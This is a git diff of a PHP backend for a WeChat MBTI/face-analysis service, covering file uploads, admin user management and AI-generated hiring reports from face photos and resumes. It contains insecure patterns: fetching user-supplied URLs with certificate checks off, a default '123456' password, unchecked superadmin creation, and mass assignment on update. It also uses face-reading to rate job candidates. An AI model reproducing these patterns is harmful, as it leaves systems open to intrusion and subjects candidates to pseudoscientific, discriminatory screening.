$exists = UploadFile::where(['hash' => $hash, 'driver' => $driver])->find(); + if ($exists) { + return [ + 'path' => $exists->path, + 'url' => $exists->url, + 'id' => $exists->id, + ]; + } + + // 子目录:按 年/月 分目录,例如 2025/12 + $year = date('Y'); + $month = date('m'); + $subDir = $year . DIRECTORY_SEPARATOR . $month; + $dir = rtrim($root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $subDir; + + if (!is_dir($dir) && !mkdir($dir, 0755, true) && !is_dir($dir)) { + throw new \RuntimeException('创建上传目录失败'); + } + + $filename = uniqid('img_', true) . '.' . $extension; + + // 保存文件 + $file->move($dir, $filename); + + // web 访问路径使用 / 分隔,例如 uploads/2025/12/xxx.jpg + $relativePath = 'uploads/' . $year . '/' . $month . '/' . $filename; + $urlPrefix = rtrim($config['url'] ?? '', '/'); + + // 如果未配置,使用 API 域名(生产环境:api.737270.com) + if (!$urlPrefix) { + $apiDomain = env('API_DOMAIN', 'https://api.737270.com'); + $urlPrefix = rtrim($apiDomain, '/'); + } + + $url = $urlPrefix . '/' . $relativePath; + + // 记录上传信息 + $record = new UploadFile(); + $record->path = $relativePath; + $record->url = $url; + $record->driver = $driver; + $record->hash = $hash; + $record->size = $size; + $record->mimeType = $mimeType; + $record->extension = $extension; + $record->save(); + + return [ + 'path' => $relativePath, + 'url' => $url, + 'id' => $record->id, + ]; + } + + /** + * 上传到阿里云 OSS + * 完全参考 BaseCrawler.php 的实现 + */ + protected function uploadToOss($file, array $config): array + { + if (!class_exists('\OSS\OssClient')) { + throw new \RuntimeException('未安装 Aliyun OSS SDK,请先执行:composer require aliyuncs/oss-sdk-php'); + } + + // 参考 database.php 的配置读取方式,直接从 config 读取(config 已通过 env() 读取 .env) + $accessKeyId = $config['access_key_id'] ?? ''; + $accessKeySecret = $config['access_key_secret'] ?? ''; + $endpoint = $config['endpoint'] ?? ''; + $bucket = $config['bucket'] ?? ''; + $prefix = trim($config['prefix'] ?? 'mbti', '/'); + $baseUrl = rtrim($config['url'] ?? '', '/'); + + // 如果未配置 OSS_URL,自动使用 OSS 自带域名:https://{bucket}.{endpoint} + if (empty($baseUrl) && !empty($bucket) && !empty($endpoint)) { + // 移除 endpoint 中的协议前缀(如果有) + $endpointClean = preg_replace('#^https?://#', '', $endpoint); + $baseUrl = 'https://' . $bucket . '.' . $endpointClean; + } + + if (empty($accessKeyId) || empty($accessKeySecret) || empty($endpoint) || empty($bucket)) { + throw new \RuntimeException('OSS 配置不完整,请在 .env 文件中配置 OSS_ACCESS_KEY_ID、OSS_ACCESS_KEY_SECRET、OSS_ENDPOINT、OSS_BUCKET(OSS_URL 可选,不配置则使用 OSS 自带域名)'); + } + + $driver = 'oss'; + $extension = strtolower($file->extension()); + $hash = md5_file($file->getPathname()); + $size = $file->getSize(); + $mimeType = $this->getFileMimeSafe($file); + + // 先查重(完全参考 BaseCrawler.php) + try { + $exists = UploadFile::where(['hash' => $hash, 'driver' => $driver])->find(); + if ($exists) { + $tempFilePath = $file->getPathname(); + if (file_exists($tempFilePath)) { + @unlink($tempFilePath); + } + $latestUrl = $baseUrl . '/' . ltrim($exists->path, '/'); + if ($exists->url !== $latestUrl) { + $exists->url = $latestUrl; + $exists->save(); + } + return [ + 'path' => $exists->path, + 'url' => $latestUrl, + 'id' => $exists->id, + ]; + } + } catch (\Exception $e) { + // 查重失败不影响上传流程 + } + + $object = $prefix . '/' . date('Ymd') . '/' . uniqid('img_', true) . '.' . $extension; + + // 保存并临时清除代理设置(完全参考 BaseCrawler.php) + // 如果 putenv 函数可用则使用,否则跳过代理处理 + $putenvAvailable = function_exists('putenv'); + $originalHttpProxy = false; + $originalHttpsProxy = false; + $originalHttpProxyVar = false; + $originalHttpsProxyVar = false; + + if ($putenvAvailable) { + $originalHttpProxy = getenv('HTTP_PROXY'); + $originalHttpsProxy = getenv('HTTPS_PROXY'); + $originalHttpProxyVar = getenv('http_proxy'); + $originalHttpsProxyVar = getenv('https_proxy'); + + \putenv('HTTP_PROXY='); + \putenv('HTTPS_PROXY='); + \putenv('http_proxy='); + \putenv('https_proxy='); + } + + try { + $client = new \OSS\OssClient($accessKeyId, $accessKeySecret, $endpoint); + + if (!$client->doesBucketExist($bucket)) { + throw new \RuntimeException("OSS Bucket '{$bucket}' 不存在或无法访问"); + } + + $client->uploadFile($bucket, $object, $file->getPathname()); + } finally { + // 恢复代理设置(完全参考 BaseCrawler.php) + if ($putenvAvailable) { + if ($originalHttpProxy !== false) { + \putenv('HTTP_PROXY=' . $originalHttpProxy); + } else { + \putenv('HTTP_PROXY'); + } + if ($originalHttpsProxy !== false) { + \putenv('HTTPS_PROXY=' . $originalHttpsProxy); + } else { + \putenv('HTTPS_PROXY'); + } + if ($originalHttpProxyVar !== false) { + \putenv('http_proxy=' . $originalHttpProxyVar); + } else { + \putenv('http_proxy'); + } + if ($originalHttpsProxyVar !== false) { + \putenv('https_proxy=' . $originalHttpsProxyVar); + } else { + \putenv('https_proxy'); + } + } + } + + // 上传成功后,删除本地临时文件(完全参考 BaseCrawler.php) + $tempFilePath = $file->getPathname(); + if (file_exists($tempFilePath)) { + @unlink($tempFilePath); + } + + // 生成文件访问 URL(完全参考 BaseCrawler.php) + $ossUrl = $baseUrl . '/' . ltrim($object, '/'); + + // 记录上传信息(完全参考 BaseCrawler.php,try-catch 包裹) + try { + $record = new UploadFile(); + $record->path = $object; + $record->url = $ossUrl; + $record->driver = $driver; + $record->hash = $hash; + $record->size = $size; + $record->mimeType = $mimeType; + $record->extension = $extension; + $record->save(); + } catch (\Exception $e) { + // 记录失败不影响返回 URL + } + + return [ + 'path' => $object, + 'url' => $ossUrl, + 'id' => $record->id ?? 0, + ]; + } + + /** + * 安全获取文件 MIME:服务器未开 fileinfo 扩展时用扩展名推断,避免 finfo_open() 报错 + */ + protected function getFileMimeSafe($file): string + { + if (function_exists('finfo_open')) { + try { + return $file->getMime() ?: $this->mimeByExtension($file->extension()); + } catch (\Throwable $e) { + return $this->mimeByExtension($file->extension()); + } + } + return $this->mimeByExtension($file->extension()); + } + + private function mimeByExtension(string $ext): string + { + $ext = strtolower($ext ?: ''); + $map = [ + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jfif' => 'image/jpeg', + 'jpe' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif', + 'webp' => 'image/webp', + 'bmp' => 'image/bmp', + 'heic' => 'image/heic', + 'heif' => 'image/heif', + 'pdf' => 'application/pdf', + 'doc' => 'application/msword', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + ]; + return $map[$ext] ?? 'application/octet-stream'; + } +} diff --git a/api/app/controller/admin/User.php b/api/app/controller/admin/User.php new file mode 100644 index 0000000..749cb5f --- /dev/null +++ b/api/app/controller/admin/User.php @@ -0,0 +1,206 @@ +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 10); + $keyword = Request::param('keyword', ''); + $role = Request::param('role', ''); + $status = Request::param('status', ''); + + $where = []; + if ($keyword) { + $where[] = ['username|email|phone', 'like', '%' . $keyword . '%']; + } + if ($role) { + $where['role'] = $role; + } + if ($status !== '') { + $where['status'] = $status; + } + + // 根据角色过滤 + if (($user['role'] ?? '') === 'enterprise_admin') { + // 企业管理员只能查看自己企业的用户 + $where['enterpriseId'] = $user['enterpriseId'] ?? null; + } else { + // 普通管理员可以查看所有管理员(不包括超级管理员) + $where[] = ['role', 'in', ['admin', 'enterprise_admin']]; + } + + $list = UserModel::where($where) + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select(); + + $total = UserModel::where($where)->count(); + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 获取用户详情 + * @param int $id + * @return \think\response\Json + */ + public function detail($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + $userData = $user->toArray(); + unset($userData['password']); + + return success($userData); + } + + /** + * 创建用户 + * @return \think\response\Json + */ + public function create() + { + $data = Request::post(); + + // 检查用户名是否已存在 + if (UserModel::where('username', $data['username'])->find()) { + return error('用户名已存在'); + } + + // 检查邮箱是否已存在 + if (!empty($data['email']) && UserModel::where('email', $data['email'])->find()) { + return error('邮箱已被注册'); + } + + // 验证角色(只允许管理员角色) + $allowedRoles = ['admin', 'enterprise_admin', 'superadmin']; + $role = $data['role'] ?? 'admin'; + if (!in_array($role, $allowedRoles)) { + return error('角色必须是管理员类型', 400); + } + + $user = new UserModel(); + $user->username = $data['username']; + $user->password = $data['password'] ?? '123456'; // 默认密码 + $user->email = $data['email'] ?? ''; + $user->phone = $data['phone'] ?? ''; + $user->role = $role; + $user->enterpriseId = $data['enterpriseId'] ?? $data['enterprise_id'] ?? null; + $user->status = $data['status'] ?? 1; + $user->save(); + + $userData = $user->toArray(); + unset($userData['password']); + + return success($userData, '创建成功'); + } + + /** + * 更新用户 + * @param int $id + * @return \think\response\Json + */ + public function update($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + $data = Request::put(); + + // 如果更新用户名,检查是否重复 + if (isset($data['username']) && $data['username'] != $user->username) { + if (UserModel::where('username', $data['username'])->find()) { + return error('用户名已存在'); + } + } + + // 如果更新邮箱,检查是否重复 + if (isset($data['email']) && $data['email'] != $user->email) { + if (!empty($data['email']) && UserModel::where('email', $data['email'])->find()) { + return error('邮箱已被注册'); + } + } + + // 如果更新密码 + if (isset($data['password'])) { + $user->password = $data['password']; // 会自动加密 + } + + $user->save($data); + + $userData = $user->toArray(); + unset($userData['password']); + + return success($userData, '更新成功'); + } + + /** + * 删除用户(软删除) + * @param int $id + * @return \think\response\Json + */ + public function delete($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + // 检查是否已删除 + if ($user->deletedAt) { + return error('用户已被删除', 400); + } + + // 不能删除自己 + $currentUser = $this->request->user ?? null; + if ($currentUser && ($currentUser['userId'] ?? $currentUser['user_id'] ?? null) == $id) { + return error('不能删除自己', 400); + } + + // 软删除(设置 deletedAt 时间戳) + $user->delete(); + return success(null, '删除成功'); + } + + /** + * 启用/禁用用户 + * @param int $id + * @return \think\response\Json + */ + public function toggleStatus($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + $user->status = $user->status == 1 ? 0 : 1; + $user->save(); + + return success($user, '操作成功'); + } +} + diff --git a/api/app/controller/api/Analyze.php b/api/app/controller/api/Analyze.php new file mode 100644 index 0000000..44f0c3c --- /dev/null +++ b/api/app/controller/api/Analyze.php @@ -0,0 +1,1534 @@ +request); + if ($earlyToken) { + $earlyPayload = JwtService::verifyToken($earlyToken); + if ($earlyPayload && ($earlyPayload['source'] ?? '') === 'wechat') { + $earlyUserId = (int) ($earlyPayload['user_id'] ?? $earlyPayload['userId'] ?? 0); + } + } + // 三个变量各司其职(同 Test::submit 逻辑): + // $enterpriseId —— 仅企业测试(请求体传入)才非 null,决定走 admin_enterprise 定价 + // $pricingEnterpriseId —— 个人测试时从 wechat_users 取,走 admin_personal + eid 定价 + // $writeEnterpriseId —— 写入 test_results.enterpriseId(企业测试 or 绑定企业都记录) + $pricingEnterpriseId = $enterpriseId; + $writeEnterpriseId = $enterpriseId; + if ($enterpriseId === null && $earlyUserId > 0) { + $boundEid = Db::name('wechat_users')->where('id', $earlyUserId)->value('enterpriseId'); + if (!empty($boundEid)) { + $pricingEnterpriseId = (int) $boundEid; // admin_personal + eid + $writeEnterpriseId = (int) $boundEid; // 历史记录展示企业名 + } + } + + if (empty($photoUrls)) { + return error('请上传至少一张人脸照片', 400); + } + + $provider = AiProviderModel::where('enabled', 1) + ->whereRaw('(visible IS NULL OR visible = 1)') + ->whereRaw('(apiKey IS NOT NULL AND LENGTH(TRIM(apiKey)) > 0)') + ->order('id', 'asc') + ->find(); + + if (!$provider) { + return error('暂无可用的 AI 服务,请联系管理员配置', 503); + } + + $apiKey = $provider->getRawApiKey(); + + if (empty($apiKey)) { + return error('AI 服务未配置有效密钥', 503); + } + + // 前置人脸检测:将全部上传图片一次性发给 AI 判断,不通过则立即返回,不进行完整分析 + if (!$this->quickFaceCheck($photoUrls, $provider, $apiKey)) { + return error('图片中未检测到人脸,请重新拍摄清晰的正面照片', 422); + } + + // 企业版:拉取用户已完成的 MBTI/PDP/DISC 测试数据 + 简历(默认或最新),拼入 prompt 供 AI 交叉验证 + $existingTestContext = ''; + $resumeImageUrl = ''; + if ($enterpriseId !== null && $earlyUserId > 0) { + try { + $latestTests = TestController::getLatestResultsForResume($earlyUserId, $enterpriseId); + $resumeText = ''; + $resumeFileUrl = ''; + // 从 enterprise_resume_uploads 读取简历:优先默认,无则最新 + $resumeQuery = Db::name('enterprise_resume_uploads')->where('userId', $earlyUserId)->where('enterpriseId', $enterpriseId); + $defaultUpload = (clone $resumeQuery)->where('is_default', 1)->order('createdAt', 'desc')->find(); + $resumeUpload = $defaultUpload ?: $resumeQuery->order('createdAt', 'desc')->find(); + if ($resumeUpload && !empty($resumeUpload['fileUrl'])) { + $resumeFileUrl = $resumeUpload['fileUrl']; + // PDF/docx 提取文本入 prompt;图片需作为 image_url 传入才能被 AI 读取;doc 仅提供文件名 + $resumeText = $this->extractResumeFileText($resumeFileUrl); + $ext = strtolower(pathinfo(parse_url($resumeFileUrl, PHP_URL_PATH) ?? '', PATHINFO_EXTENSION)); + if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp'], true)) { + $resumeImageUrl = $resumeFileUrl; + } + } + $ctx = $this->buildResumeContext($latestTests, $resumeText, $resumeFileUrl); + if ($ctx !== '') { + $existingTestContext = $ctx; + } + } catch (\Throwable $e) { + // 拉取失败不阻塞分析 + } + } + + try { + $result = $this->callAiAnalyze($provider, $apiKey, $photoUrls, $enterpriseId, $existingTestContext, $resumeImageUrl); + } catch (\Throwable $e) { + Log::warning('faceAnalyze: AI 调用失败 ' . $e->getMessage()); + return error('AI 分析失败:' . $e->getMessage(), 500); + } + + // 完整分析中 AI 再次确认无人脸(双重保障) + if (!empty($result['_noFace'])) { + return error('图片中未检测到人脸,请重新拍摄清晰的正面照片', 422); + } + + // 将用户上传的图片 URL 一并写入结果,方便 mbti_test_results 保留原始图片记录 + $storePayload = $result; + if (is_array($storePayload)) { + // 若模型结果中尚未包含 photoUrls,则追加一份 + if (!isset($storePayload['photoUrls'])) { + $storePayload['photoUrls'] = $photoUrls; + } + } + + // 当前标准定价(分)与是否需要付费 + // $enterpriseId=非null 时走企业版定价;=null 时走个人版定价(含绑定企业的 admin_personal) + $standardAmountFen = $this->getStandardAmountByTestType('face', $enterpriseId, $pricingEnterpriseId); + $requiresPayment = $standardAmountFen > 0 ? 1 : 0; + + // 有 token 时顺带写入测试记录,避免小程序多请求一次 /api/test/submit + $testResultId = null; + $token = JwtService::getTokenFromRequest($this->request); + if ($token) { + $payload = JwtService::verifyToken($token); + if ($payload && ($payload['source'] ?? '') === 'wechat') { + $userId = (int) ($payload['user_id'] ?? $payload['userId'] ?? 0); + if ($userId > 0) { + try { + $now = time(); + + $testResultId = Db::name('test_results')->insertGetId([ + 'userId' => $userId, + 'enterpriseId' => $writeEnterpriseId, + 'testScope' => $enterpriseFromRequest ? 'enterprise' : 'personal', + 'testType' => 'face', + 'resultData' => is_string($storePayload) ? $storePayload : json_encode($storePayload, JSON_UNESCAPED_UNICODE), + 'score' => null, + 'orderId' => null, + 'requiresPayment' => $requiresPayment, + 'isPaid' => 0, + 'paidAmount' => $standardAmountFen > 0 ? $standardAmountFen : null, + 'paidAt' => null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + if ($testResultId) { + UserProfileModel::recordTest($userId, 'face', $testResultId, $writeEnterpriseId, $now); + // 仅当 enterpriseId 来自请求体(企业分享链接)时才更新绑定关系 + if ($enterpriseFromRequest && $enterpriseId !== null && $enterpriseId > 0) { + Db::name('wechat_users')->where('id', $userId)->update([ + 'enterpriseId' => $enterpriseId, + 'updatedAt' => $now, + ]); + } + // 面相分析由本接口直接写入 test_results,也要补触发测试完成佣金 + try { + \app\controller\api\Distribution::settleTestCommission($testResultId, $userId, 'face'); + } catch (\Throwable $e) { + // 分销失败不影响主流程 + } + } + } catch (\Throwable $e) { + // 写入失败不影响返回分析结果 + } + } + } + } + + // 构造返回给前端的 payload(不影响入库的原始结果) + $responsePayload = is_array($storePayload) ? $storePayload : []; + + // 前端可直接使用的付费信息(避免二次请求 runtime) + $responsePayload['_payment'] = [ + 'requiresPayment' => $requiresPayment, + 'amountFen' => $standardAmountFen, + 'amountYuan' => $standardAmountFen > 0 ? round($standardAmountFen / 100, 2) : 0, + ]; + + // 若该类型需付费才显示完整报告:返回给前端的也做脱敏,与详情/历史一致(只显示部分,付费后从详情接口拿完整) + if ($requiresPayment) { + $responsePayload['faceAnalysis'] = null; + $responsePayload['boneAnalysis'] = null; + } + + // 把本次测试记录ID一起返回,便于解锁后通过 /api/test/detail 拉取完整数据 + if ($testResultId) { + $responsePayload['_testResultId'] = $testResultId; + } + + return success($responsePayload); + } + + /** + * 简历综合分析:基于当前用户人脸、MBTI、PDP、DISC 四种测试的最近一次结果,拼接后调用 AI 生成综合分析(纯文本) + * POST api/analyze/resume 需登录(wechat) + */ + public function resumeAnalysis() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('请先登录', 401); + } + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('请先登录', 401); + } + + $input = Request::post(); + $resumeText = trim((string) ($input['resumeText'] ?? $input['resume'] ?? '')); + $fileUrl = trim((string) ($input['fileUrl'] ?? '')); + + // 当前企业:优先用请求体传入,其次用用户绑定企业(需在简历自动读取之前确定 enterpriseId) + $enterpriseIdFromRequest = isset($input['enterpriseId']) && (int) $input['enterpriseId'] > 0; + $enterpriseId = $enterpriseIdFromRequest ? (int) $input['enterpriseId'] : 0; + if ($enterpriseId <= 0) { + $boundEid = Db::name('wechat_users')->where('id', $userId)->value('enterpriseId'); + $enterpriseId = !empty($boundEid) ? (int) $boundEid : 0; + } + + // 前端未传简历时,自动从 enterprise_resume_uploads 读取:优先取默认简历,无则取最新 + if ($resumeText === '' && $fileUrl === '') { + $resumeQuery = Db::name('enterprise_resume_uploads')->where('userId', $userId); + if ($enterpriseId > 0) { + $resumeQuery = $resumeQuery->where('enterpriseId', $enterpriseId); + } + $defaultUpload = (clone $resumeQuery)->where('is_default', 1)->order('createdAt', 'desc')->find(); + $resumeUpload = $defaultUpload ?: $resumeQuery->order('createdAt', 'desc')->find(); + if ($resumeUpload && !empty($resumeUpload['fileUrl'])) { + $fileUrl = $resumeUpload['fileUrl']; + } + } + + // 尝试从 OSS/远程 URL 拉取文件并提取文本(PDF 做基础提取,其他格式只记录文件名) + if ($fileUrl !== '' && $resumeText === '') { + $resumeText = $this->extractResumeFileText($fileUrl); + } + + // 定价检查:企业版走 admin_enterprise,否则走 admin_personal + $pricingEnterpriseId = $enterpriseId > 0 ? $enterpriseId : null; + $standardAmountFen = $this->getStandardAmountByTestType('resume', $pricingEnterpriseId, $pricingEnterpriseId); + $requiresPayment = $standardAmountFen > 0 ? 1 : 0; + + $latest = TestController::getLatestResultsForResume($userId, $enterpriseId > 0 ? $enterpriseId : null); + // face/ai 暂不计入,有 MBTI / DISC / PDP 任意一项即可视为有测试数据 + $hasTests = $latest['mbti'] !== null || $latest['disc'] !== null || $latest['pdp'] !== null; + $hasAnySource = $hasTests || $resumeText !== '' || $fileUrl !== ''; + if (!$hasAnySource) { + return error('暂无可用于分析的信息,请先上传简历或完成至少一项测试', 422); + } + + $userContext = $this->buildResumeContext($latest, $resumeText, $fileUrl); + // 仅统计 MBTI / DISC / PDP 是否齐全(face/ai 暂不参与) + $hasAllFour = $latest['mbti'] !== null && $latest['disc'] !== null && $latest['pdp'] !== null; + $systemPrompt = $this->getReportSummaryPrompt($hasAllFour, $hasTests); + $provider = AiProviderModel::where('enabled', 1) + ->whereRaw('(visible IS NULL OR visible = 1)') + ->whereRaw('(apiKey IS NOT NULL AND LENGTH(TRIM(apiKey)) > 0)') + ->order('id', 'asc') + ->find(); + if (!$provider) { + return error('暂无可用的 AI 服务,请联系管理员配置', 503); + } + $apiKey = $provider->getRawApiKey(); + if (empty($apiKey)) { + return error('AI 服务未配置有效密钥', 503); + } + + $rawContent = $this->callResumeAi($provider, $apiKey, $systemPrompt, $userContext); + + // 尝试解析 AI 返回的结构化 JSON;失败时降级为纯文本兼容格式 + $parsed = null; + $stripped = trim($rawContent); + // 去掉 AI 可能包裹的 markdown 代码块 + if (preg_match('/```(?:json)?\s*([\s\S]+?)\s*```/', $stripped, $m)) { + $stripped = $m[1]; + } + $decoded = json_decode($stripped, true); + if (is_array($decoded) && isset($decoded['overview'])) { + $parsed = $decoded; + $parsed['fileUrl'] = $fileUrl; + } + $resultStruct = $parsed ?? ['content' => $rawContent, 'fileUrl' => $fileUrl]; + + // 将分析结果持久化到 test_results,供历史记录、统计、分销使用 + $now = time(); + $resultData = json_encode($resultStruct, JSON_UNESCAPED_UNICODE); + $testResultId = 0; + try { + $testResultId = (int) Db::name('test_results')->insertGetId([ + 'userId' => $userId, + 'enterpriseId' => $enterpriseId > 0 ? $enterpriseId : null, + 'testScope' => $enterpriseId > 0 ? 'enterprise' : 'personal', + 'testType' => 'resume', + 'resultData' => $resultData, + 'requiresPayment' => $requiresPayment, + 'isPaid' => $requiresPayment ? 0 : 1, + 'paidAmount' => $standardAmountFen > 0 ? $standardAmountFen : null, + 'paidAt' => null, + 'orderId' => null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + if ($testResultId > 0) { + UserProfileModel::recordTest($userId, 'resume', $testResultId, $enterpriseId > 0 ? $enterpriseId : null, $now); + // 如果是企业分享链接进入,更新用户绑定关系 + if ($enterpriseIdFromRequest && $enterpriseId > 0) { + Db::name('wechat_users')->where('id', $userId)->update([ + 'enterpriseId' => $enterpriseId, + 'updatedAt' => $now, + ]); + } + } + } catch (\Throwable $e) { + Log::error('resumeAnalysis: save test_result failed ' . $e->getMessage()); + } + + // 触发分销佣金(noPayment 场景;有价格时走支付回调结算) + if ($testResultId > 0) { + try { + \app\controller\api\Distribution::settleTestCommission($testResultId, $userId, 'resume'); + } catch (\Throwable $e) {} + } + + $responseData = $resultStruct; + $responseData['_testResultId'] = $testResultId; + $responseData['_payment'] = [ + 'requiresPayment' => $requiresPayment, + 'amountFen' => $standardAmountFen, + 'amountYuan' => $standardAmountFen > 0 ? round($standardAmountFen / 100, 2) : 0, + ]; + return success($responseData); + } + + /** + * 获取简历综合分析提示词(prompts.resumeReport),为空时返回默认说明 + */ + private function getReportSummaryPrompt(bool $hasAllFour, bool $hasTests): string + { + $defaultPrompt = <<<'PROMPT' +你是一位服务于 HR 总监、HRBP、人力负责人和中小企业老板的专业人才测评师。 +请根据下方候选人的简历及测试数据,输出一份结构化 JSON 报告,帮助 HR 快速决策,帮助老板一眼看懂用人关键指标。 + +【重要】只能返回如下 JSON 对象,不能有任何额外文字、注释或 markdown 代码块: + +{ + "version": 2, + "mbti": "四字母类型,如 INTJ;无数据则留空字符串", + "pdp": "老虎/孔雀/考拉/猫头鹰/变色龙 其一;无数据则留空字符串", + "disc": "D/I/S/C 其一;无数据则留空字符串", + "overview": "50字以内整体人才画像摘要,HR 看一眼能记住的句子", + "portrait": { + "coreStrengths": ["优势1", "优势2", "优势3"], + "coreRisks": ["风险1", "风险2"], + "workStyle": "一句话描述工作风格,如「偏独立作战,需要清晰目标和足够授权」" + }, + "hrView": { + "roleRecommend": { + "bestFit": ["最适合岗位1", "最适合岗位2", "最适合岗位3"], + "notSuitable": ["不适合场景1", "不适合场景2"] + }, + "lifecycle": { + "onboarding": "入职适应期建议,约1-2句", + "probation": "试用期表现预测,约1-2句", + "growth": "6-12个月成长路径预测,约1-2句", + "retention": "核心留人因素,约1-2句" + }, + "performance": { + "potential": "高潜/中潜/稳健 三选一", + "drivers": ["驱动因子1", "驱动因子2"], + "risks": ["绩效风险1", "绩效风险2"] + }, + "complianceRisk": { + "level": "低/中/高 三选一", + "notes": "一句话说明合规风险点" + }, + "teamFit": { + "bestTeam": "最适合的团队类型,如「执行型或互补型团队」", + "manageAdvice": "管理建议,一句话" + } + }, + "bossView": { + "headline": "给老板的一句话结论,如「适合担任中层管理,高成长潜力,建议优先考虑」", + "metrics": [ + { "label": "岗位匹配度", "value": "85%", "level": "high" }, + { "label": "留存预测", "value": "高", "level": "high" }, + { "label": "合规风险", "value": "低", "level": "low" }, + { "label": "成长速度", "value": "快", "level": "high" } + ], + "costInsight": "用人成本与产出比预判,一句话" + }, + "resumeHighlights": "对简历内容的1-2句结构化提炼,无简历数据则留空字符串" +} + +level 字段只允许填 high / medium / low 三个值。 +PROMPT; + + $promptsConfig = SystemConfigModel::where('key', 'prompts')->find(); + $isCustomPrompt = false; + $reportSummary = $defaultPrompt; + if ($promptsConfig && !empty($promptsConfig->value)) { + $value = $promptsConfig->value; + if (is_array($value)) { + $arr = $value; + } elseif (is_string($value)) { + $arr = json_decode($value, true) ?: []; + } elseif (is_object($value)) { + $arr = (array) $value; + } else { + $arr = []; + } + // resumeReport = 简历综合分析专用 key(reportSummary 已被企业版人脸分析占用) + $custom = trim($arr['resumeReport'] ?? ''); + if ($custom !== '') { + $reportSummary = $custom; + $isCustomPrompt = true; + } + } + + if ($hasTests && !$hasAllFour) { + $reportSummary .= "\n\n【说明】以下仅包含该候选人已完成的测试维度,未完成的维度对应字段请填空字符串,不可臆测。"; + } + + // 自定义 prompt 可能未声明输出格式,追加一次格式兜底提醒 + if ($isCustomPrompt) { + $reportSummary .= "\n\n【固定输出格式要求】必须严格返回一个 JSON 对象,顶层至少包含 version、overview、portrait、hrView、bossView、resumeHighlights 等字段。不得输出任何额外说明文字或 markdown。"; + } + + return $reportSummary; + } + + /** + * 按 人脸 → MBTI → PDP → DISC 顺序拼接四块内容,缺失的块不输出 + */ + private function buildResumeContext(array $latest, string $resumeText = '', string $fileUrl = ''): string + { + $sections = []; + if ($resumeText !== '') { + $maxLen = 4000; + if (function_exists('mb_substr')) { + if (mb_strlen($resumeText, 'UTF-8') > $maxLen) { + $resumeBody = mb_substr($resumeText, 0, $maxLen, 'UTF-8') . "\n\n(以上为简历内容节选,已截断)"; + } else { + $resumeBody = $resumeText; + } + } else { + if (strlen($resumeText) > $maxLen) { + $resumeBody = substr($resumeText, 0, $maxLen) . "\n\n(以上为简历内容节选,已截断)"; + } else { + $resumeBody = $resumeText; + } + } + $sections[] = "## 简历内容\n\n" . $resumeBody; + } elseif ($fileUrl !== '') { + // 文件已上传但内容无法自动提取(图片/Word 等),提供文件名、类型、地址供参考 + $path = parse_url($fileUrl, PHP_URL_PATH) ?? $fileUrl; + $filename = basename($path); + $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); + $sections[] = "## 简历文件\n\n候选人已上传简历文件:{$filename}\n文件类型:{$ext}\n文件地址:{$fileUrl}\n(内容无法自动解析,请结合测试数据与面相进行分析)"; + } + // face/ai 临时去除,仅拼接 MBTI / PDP / DISC + $order = [ + 'mbti' => 'MBTI', + 'pdp' => 'PDP', + 'disc' => 'DISC', + ]; + foreach ($order as $key => $title) { + $row = $latest[$key] ?? null; + if (!$row || empty($row['resultData'])) { + continue; + } + $raw = $row['resultData']; + $data = is_string($raw) ? json_decode($raw, true) : $raw; + if (is_array($data)) { + $data = $this->sanitizeResumeTestData($key, $data); + $text = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + $text = (string) $raw; + } + $sections[] = "## {$title}\n\n" . $text; + } + return implode("\n\n", $sections); + } + + /** + * 从远程 URL(OSS 等)拉取简历文件并提取可读文本 + * - PDF:正则提取 BT/ET 块中的文字 + * - docx:解压 ZIP 解析 word/document.xml 提取文本 + * - 图片 / doc:返回空(不做处理) + */ + private function extractResumeFileText(string $fileUrl): string + { + if ($fileUrl === '' || !filter_var($fileUrl, FILTER_VALIDATE_URL)) { + return ''; + } + + $ext = strtolower(pathinfo(parse_url($fileUrl, PHP_URL_PATH) ?? '', PATHINFO_EXTENSION)); + + // 图片无法提取文本,直接跳过 + if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp'], true)) { + return ''; + } + + $ctx = stream_context_create([ + 'http' => [ + 'timeout' => 15, + 'user_agent' => 'Mozilla/5.0', + ], + 'ssl' => [ + 'verify_peer' => false, + 'verify_peer_name' => false, + ], + ]); + $raw = @file_get_contents($fileUrl, false, $ctx); + if ($raw === false || strlen($raw) < 10) { + return ''; + } + + if ($ext === 'docx') { + return $this->extractDocxText($raw); + } + + if ($ext === 'pdf') { + return $this->extractPdfText($raw); + } + + return ''; + } + + /** 从 docx 二进制内容提取文本(docx 为 ZIP,内含 word/document.xml) */ + private function extractDocxText(string $raw): string + { + $tmp = tempnam(sys_get_temp_dir(), 'docx_'); + if ($tmp === false) { + return ''; + } + if (file_put_contents($tmp, $raw) === false) { + @unlink($tmp); + return ''; + } + $zip = new \ZipArchive(); + if ($zip->open($tmp) !== true) { + @unlink($tmp); + return ''; + } + $xml = $zip->getFromName('word/document.xml'); + $zip->close(); + @unlink($tmp); + if ($xml === false || $xml === '') { + return ''; + } + // 提取所有 ... 文本节点 + preg_match_all('/]*>([^<]*)<\/w:t>/u', $xml, $m); + $text = isset($m[1]) ? implode('', $m[1]) : ''; + $text = html_entity_decode($text, ENT_QUOTES | ENT_XML1, 'UTF-8'); + $text = preg_replace('/[^\x{4e00}-\x{9fff}\x{3000}-\x{303f}a-zA-Z0-9\s\.,;:!?()()【】\[\]\/\-_@]/u', ' ', $text); + return trim(preg_replace('/\s{2,}/', ' ', $text)); + } + + 